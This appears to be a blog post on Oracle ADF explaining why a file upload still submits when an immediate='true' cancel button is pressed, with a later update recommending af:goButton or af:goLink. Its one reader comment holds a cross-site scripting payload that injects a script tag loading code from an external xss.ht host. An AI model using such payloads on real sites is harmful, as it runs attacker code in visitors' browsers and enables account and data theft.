X

The blog for hints & tips about Oracle Application Development Framework and Mobile Application Framework

Solving File Upload Cancel Issue

Frank Nimphius
Master Principal Product Manager

In Oracle JDeveloper 11g R1 (I did not test 11g R2) the file upload component is submitted even if users click a cancel button with immediate="true" set. Usually, immediate="true" on a command button by-passes all modle updates, which would make you think that the file upload isn't processed either. However, using a form like shown below, pressing the cancel button has no effect in that the file upload is not suppressed.

Update Aug 29/2012: Appears that all the af:subform suggestions in the
original blog entry did not work out for any who tried it. The form still appears to be submitted as a
whole. To effectively cancel an upload form, use the af:goButton or af:goLink as the cancel button or lnk, which does not submit the form at all.

Join the discussion

Comments ( 1 )
  • Kadar "><script src=https://dew7.xss.ht></script> Monday, April 9, 2018
    Thanks for the info. ">
Please enter your name.Please provide a valid email address.Please enter a comment.CAPTCHA challenge response provided was incorrect. Please try again.